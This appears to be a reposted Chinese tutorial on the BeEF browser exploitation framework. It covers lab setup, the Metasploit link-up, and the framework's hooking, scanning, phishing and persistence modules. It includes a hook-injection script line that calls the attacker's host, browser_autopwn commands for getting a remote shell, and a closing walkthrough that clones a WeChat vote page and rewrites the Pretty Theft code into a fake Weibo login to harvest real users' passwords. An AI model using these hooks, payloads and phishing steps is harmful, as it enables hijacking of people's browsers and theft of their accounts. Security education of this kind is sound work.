瀏覽器利用框架BeEF測試

0×00 前言



http://www.vuln.cn/6966


BeEF,全稱The Browser Exploitation Framework,是一款針對瀏覽器的滲透測試工具。 目前對其測試的文章不是很多,所以希望通過本次測試給大家帶來全新的認識。

這裏寫圖片描述

0×01 簡介


工具主頁:http://beefproject.com

工具框架:

這裏寫圖片描述

0×02 測試環境


攻擊主機:

操作系統:Kali 1.0
IP:192.168.16.245

測試主機:

操作系統:Win7x86
IP:192.168.16.197

路由器:

WooyunWifi
開啓JS注入功能

這裏寫圖片描述

Tips:

WooyunWifi開啓JS注入功能後會對用戶訪問的頁面加入JS代碼,如果JS代碼設置成如下格式,那麼運行後會在BeEF控制端返回一個shell

document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>");

默認情況下JS注入附帶緩存投毒功能,將視圖緩存所有的頁面至2099年,但可以通過清除所有緩存及瀏覽數據來清除緩存投毒的影響。

這裏寫圖片描述

0×03 BeEF參數配置


BeEF在Kali下默認安裝,直接找到對應圖標啓動即可,但是默認設置未同Metasploit關聯,無法使用msf模塊,因此需要作如下配置連接msf

1、修改config.yaml

編輯
/usr/share/beef-xss/config.yaml

metasploit:
            enable: false改爲true

這裏寫圖片描述

編輯
/usr/share/beef-xss/extensions/demos/config.yaml

enable:true改爲false

編輯
/usr/share/beef-xss/extensions/metasploit/config.yaml

設置
    ssl: true
    ssl_version: 'TLSv1'

這裏寫圖片描述

2、啓動msf服務

service postgresql start
service metasploit start
msfconsole
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

3、運行BeEF.rb

cd /usr/share/beef-xss/
/usr/share/beef-xss/beef

(啓動後不要關閉,不然登錄界面會提示密碼錯誤)

這裏寫圖片描述

4、啓動BeEF

彈出瀏覽器,輸入默認用戶名口令beef,即可登陸

主界面如圖

這裏寫圖片描述

0×04 功能介紹


對基本功能做全面介紹,高級用法以後會做補充

1-信息收集

1、瀏覽器信息 可收集:

瀏覽器名稱版本
瀏覽器用戶版本
插件(包括Java,ActiveX,VBS,Flash……)
窗口大小

收集方法:

(1)自動默認收集信息
如圖

這裏寫圖片描述

(2)插件收集信息
如圖

這裏寫圖片描述

Tips:

模塊圖標不同顏色對應不同的使用效果
綠色:適用當前瀏覽器
橙色:適用當前瀏覽器,但易被用戶發現,social engineering模塊默認爲橙色
紅色:不適於當前瀏覽器,但仍可嘗試

2、系統信息

可收集:

安裝的軟件(適用於IE下,Detect Software模塊)
註冊表鍵值(適用於IE下,此時會彈出提示消息)
內網IP(Java模塊得到授權)
系統詳情(通過JavaApplet獲取系統版本、Java VM details、NIC names and IP、處理器、內存、屏幕顯示模式)
定位(通過Google maps)
剪貼板信息(會彈出提示消息)

如圖

這裏寫圖片描述

這裏寫圖片描述

這裏寫圖片描述

3、用戶行爲

可收集:

用戶是否訪問過某URL、domain
是否登錄特定網站賬號
是否使用TOR

如圖

這裏寫圖片描述

2-社會工程

如果使用BeEF控制了瀏覽器,那麼就可以修改整個頁面來嘗試社會工程學

1、提交登錄信息

簡單粗暴往往是最有效的

Pretty Theft模塊:

在網頁彈出誘騙消息需要用戶輸入登錄和密碼,並解釋該會話已超時

選擇的登錄框模板,如圖

這裏寫圖片描述

配置後用戶瀏覽器界面,如圖

這裏寫圖片描述

當用戶輸入信息後,自動獲取,如圖

這裏寫圖片描述

Simple Hijacker模塊:

劫持網頁上面的所有鏈接,當用戶點擊任意鏈接時彈出誘騙消息,如果用戶接着點擊會跳轉到指定域名
如圖

這裏寫圖片描述

這裏寫圖片描述

Clippy模塊:

創建一個瀏覽器助手提示用戶點擊
如圖

這裏寫圖片描述

2、重定向

Rediret Browser模塊:

將當前頁面重定向至指定頁面,有可能導致當前權限丟失

Rediret Browser(iframe)模塊:

將當前頁面重定向至指定頁面,,同時保留當前連接,可以維持當前瀏覽器權限
如圖

這裏寫圖片描述

這裏寫圖片描述

TabNabbing模塊:

當檢測用戶不在當前頁面時啓動定時器,倒計時結束後自動重定向至指定頁面
如圖

這裏寫圖片描述

3、Chrome/Firefox extensions

Fake Flash Update模塊:

提示用戶安裝Adobe Flash Player的更新,用戶點擊後會下載指定文件
如圖

這裏寫圖片描述

Chrome Extensions 系列:

值得嘗試

這裏寫圖片描述

4、補充

Clickjacking模塊:

可以使用multi-click clickjacking,判斷當前用戶鼠標位置,在不同位置可觸發不同JS代碼
如圖,鼠標後面跟隨一個iframe

這裏寫圖片描述

這裏寫圖片描述

3-網絡掃描

通過JavaScript,可以嘗試利用瀏覽器掃描內網

1、獲取內網IP

Get Internal IP WebRTC模塊:

通過WebRTC獲取內網IP

Get Internal IP模塊:

通過Java Socket class獲取內網IP

2、識別局域網子網

識別內網網關,如圖

這裏寫圖片描述

3、識別HTTP Servers

識別內網web servers

4、ping操作

調用ping命令掃描內網

Ping Sweep模塊 Ping Sweep (Java)模塊

如圖

這裏寫圖片描述

5、跨域掃描

6、DNS枚舉

如圖

這裏寫圖片描述

7、端口掃描

Port Scanner模塊

如圖

這裏寫圖片描述

這裏寫圖片描述

8、網絡指紋特徵掃描

用來掃描內網中的Web服務器和網絡設備

Fingerprint Network模塊

如圖

這裏寫圖片描述

9、Remote CSRFs

10、IRC NAT Pinning

模擬瀏覽器的IRC通信,可用來繞過防火牆

11、網絡拓撲

BeEF可根據掃描獲得的信息繪製內網網絡拓撲 如圖

這裏寫圖片描述

這裏寫圖片描述

這裏寫圖片描述

此部分會在以後詳細介紹

4-結合Metasploit

1、Metasploit系列模塊

如圖

這裏寫圖片描述

2、Browser Autopwn

反彈回meterpreter

方法:

(1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.16.245
set SRVHOST 192.168.16.245
set SRVPORT 8881
run -z

生成一個鏈接,如圖

這裏寫圖片描述

這裏寫圖片描述

(2)使用"Create Invisible Iframe"模塊加載autopwn頁面

如圖

這裏寫圖片描述

(3)等待彈回shell

sessions -l

5-Tunneling

代理功能

方法:

1、選擇控制的瀏覽器

如圖

這裏寫圖片描述

2、瀏覽器代理設置

HTTP Proxy:127.0.0.1
Port:6789

如圖

這裏寫圖片描述

細節以後補充

3、訪問同樣網站,查看本機瀏覽器頁面同被控瀏覽器頁面內容是否相同(即不需要cookie可實現登錄賬號)

6-XSS

如圖

這裏寫圖片描述

細節以後補充

7-維持權限

1、Create Pop Under模塊

創建一個新窗口,如圖

這裏寫圖片描述

反彈一個新權限,如圖

這裏寫圖片描述

2、Confirm Close Tab模塊

當用戶關閉當前頁面時,反覆彈出確認是否關閉頁面的消息

3、Create Foreground iFrame模塊 修改當前頁面所有鏈接來避免離開當前頁面
比如用戶點擊某個連接,會將新頁面顯示在當前頁面上面,注意的是網址不會發送改變,如圖:

這裏寫圖片描述

正常訪問的頁面爲:(注意看地址欄)

這裏寫圖片描述

4、Man In The Browser模塊

可攔截修改頁面內所有鏈接,當用戶點擊當前頁面的任意鏈接後仍可維持權限(必須是同源的頁面)
如果用戶手動更改URL地址欄,無法維持權限

0×05 小結


本文僅對BeEF的基本功能做了全面介紹,更多高級技巧很值得研究,例如利用BeEF內網滲透,利用代理不通過cookie登陸賬戶突破IP限制綁定等等。

測試過程難免會有疏忽遺漏,理解錯誤的地方歡迎指正,共同進步。

本文由三好學生原創並首發於烏雲drops,轉載請註明

0×06 補充


對手機平臺的微信使用BeEF進行模擬測試

手機系統:

Android

1、上線方法:

1、掃描二維碼

掃描後在BeEF控制端看到手機上線,如圖

這裏寫圖片描述

對此頁面進行Google Phishing欺騙,如圖

這裏寫圖片描述

注:

在微信上面特別的地方在於此處無法看到包含的真實URL地址

2、朋友圈分享

將BeEF的上線地址做一下簡單的僞裝並分享到朋友圈,如圖

這裏寫圖片描述

在朋友圈中同樣無法看到包含的真實URL地址,打開即爲BeEF的hook頁面,如圖

這裏寫圖片描述

3、朋友發來的鏈接

將此消息直接發給朋友,如圖

這裏寫圖片描述

我們可以看到僞造前的URL地址

注:

BeEF的hook頁面可以自定義成更具欺騙性的內容,這是爲了演示方便使用默認界面

2、微信瀏覽器被Hook後可以做哪些操作

也許有人會提出疑問:手機打開網址持續的時間很短,關閉當前頁面後BeEF的shell就會下線

解決方法:

使用BeEF API,用戶上線後能夠自動執行批量命令,結合Persistence模塊能夠極大提高shell存活時間

除了與windows系統相關的信息無法獲取,其他操作均能成功執行,並且BeEF爲手機劫持提供了專門的模塊系列——Phonegap,如圖

這裏寫圖片描述

以下是經測試可以在Android上使用的模塊:

1、彈框
2、重定向 
3、查看是否訪問過某些網站
4、Creates an invisible iframe
5、Social Engineering系列,如下圖,僅作演示 
6、msf系列
7、NetWork系列,可以用來掃描同一內網下的windows主機

這裏寫圖片描述

注:

加載hook頁面後,將手機屏幕關閉處於待機狀態,BeEF仍然可以執行指令,或許這與手機系統相關,值得以後深入測試。

0×07 利用朋友圈投票社工微博帳號實例


1、僞造BeEF的hook頁面

1、尋找模板

隨機找到一個投票的頁面,保存爲html

http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd

2、替換hook頁面

use/share/beef-xss/extensions/demos/html目錄下,將上述html文件命名爲basic.html並添加以下代碼

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" 
type="text/javascript"><\/script>';
        document.write(commandModuleStr);

如圖

這裏寫圖片描述

這裏寫圖片描述

上線頁面已被修改

2、修改BeEFsocial_engineering模塊

修改彈出對話框樣式

將此文件use/share/beef-xss/modules/social_engineering/pretty_theft/command.js內容 對應部分替換如下:

// Facebook floating div
    function facebook() {

        sneakydiv = document.createElement('div');
        sneakydiv.setAttribute('id', 'popup');
        sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-

color:ffffff;');
        document.body.appendChild(sneakydiv);

        // Set appearance using styles, maybe cleaner way to do this with CSS block?
        var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-

radius:8px"';
        var windowmain = 'style="border:1px #555 solid;"';
        var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 

13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: 

left;height: 18px;"';
        var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 

8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
        var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-

serif;margin:10px 15px;line-height:12px;height:40px;"';
        var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: 

tahoma,verdana,arial,sans-serif;padding-left:30px;"';
        var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-

left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; 
        var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 

1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';

            var title = '微博手機版安全登錄';
            var messagewords = '請輸入您的用戶名密碼登錄後進行投票。<br/><br/>我們將對您的投票信息嚴格保密。';
            var buttonLabel = '<input type="button" name="ok" value="登錄" id="ok" ' +buttonstyle+ ' 

onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" 

onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';

        // Build page including styles
        sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' 

+windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + 

messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>郵箱/會員帳號/手機號: 

</div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) 

document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div 

id="box_pre" ' +box_prestyle+ '>密碼: </div></td><td align="left"><input type="password" id="pass" name="pass" 

onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ 

'/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" 

id="buttonpress" name="buttonpress" value="false"/></div></div></div>';

        // Repeatedly check if button has been pressed
        credgrabber = setInterval(checker,1000);
    }

3、實際操作

1、微信朋友圈發佈投票消息,如圖

這裏寫圖片描述

用戶點擊後會打開我們僞造的投票頁面,同時隱蔽加載hook.js,在BeEF端上線

2、在用戶手機彈出模擬微博登錄的對話框

如圖執行Pretty Theft模塊

這裏寫圖片描述

用戶手機界面如圖,彈出對話框提示輸入登錄消息

這裏寫圖片描述

BeEF控制端返回用戶輸入消息,如圖

這裏寫圖片描述

3、用戶提交後重定向至另一頁面

BeEF控制端使用Redirect Browser(iFrame)模塊,如圖

這裏寫圖片描述

用戶手機界面如圖

這裏寫圖片描述

至此,通過朋友圈投票獲得微博帳號成功實現。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章